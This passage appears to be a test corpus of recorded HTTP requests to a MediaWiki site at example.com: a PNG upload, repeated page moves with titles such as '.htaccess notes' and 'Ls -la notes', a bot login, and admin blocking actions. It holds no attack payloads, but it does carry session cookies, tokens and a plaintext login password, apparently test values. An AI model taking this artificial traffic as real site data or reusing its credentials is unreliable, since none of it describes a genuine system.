name=\"wpUploadFile\"; filename=\"Notes on .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\u024b\u0002\u0000\u0002\ufffd\u0001U\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_.htaccess.png\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on .htaccess\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7621d6909750a29418bd130dc29d97d56af2358e+\\\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_.htaccess.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/d/d9/Notes_on_.htaccess.png?_=20261109210520", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_.htaccess.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=z4uar", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Python3+notes&wpReasonList=other&wpReason=Notes+on+python3&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Lighthouse+notes&wpEditToken=d1ffba0f229e323bf8aa2617d291bac66af23590%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:MovePage&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 213", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Python3_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Powershell+notes&wpReasonList=other&wpReason=Notes+on+powershell&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Python3+notes&wpEditToken=7f643ac1a17a39e1e0ff5df7159bf6cc6af23592%2B%5C"}
{"method": "GET", "target": "/index.php/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 208", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Powershell_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Ls+-la+notes&wpReasonList=other&wpReason=Notes+on+ls+-la&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Powershell+notes&wpEditToken=fe7f02b3136bec89a88a4937d9daf0ba6af23594%2B%5C"}
{"method": "GET", "target": "/index.php/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Ls_-la_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=.htaccess+notes&wpReasonList=other&wpReason=Notes+on+.htaccess&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Ls+-la+notes&wpEditToken=0e23055d6e423980b74345e15b657b976af23596%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=3srg8tikpo4r3r9bbl7t5g724a87ckd7", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&lgtoken=a8851fd2321f3fac2b6b2a6b4e4f60f46af23598%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Lighthouse+API+notes&to=Python3+API+notes&reason=Notes+on+python3&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 177", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=2%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Python3+API+notes&to=Powershell+API+notes&reason=Notes+on+powershell&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 172", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=4%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Powershell+API+notes&to=Ls+-la+API+notes&reason=Notes+on+ls+-la&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=6%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Ls+-la+API+notes&to=.htaccess+API+notes&reason=Notes+on+.htaccess&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
# Signed in as an administrator: blocking and unblocking a user, searching the
# block list, changing a user's groups, and protecting and deleting a page,
# through the forms and the API.
{"method": "GET", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%2Cdatetime%2Cexpiry%2CvisibleLengthLimit%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.DateTimeInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-interactions%2Cicons-moderation%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l6l6m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 334", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3ABlock&wpTarget=Lighthouse&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links&wpAutoBlock=1&wpEditToken=ed914eedcba413702b55d6a5594785366af23fb8%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1i52j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; 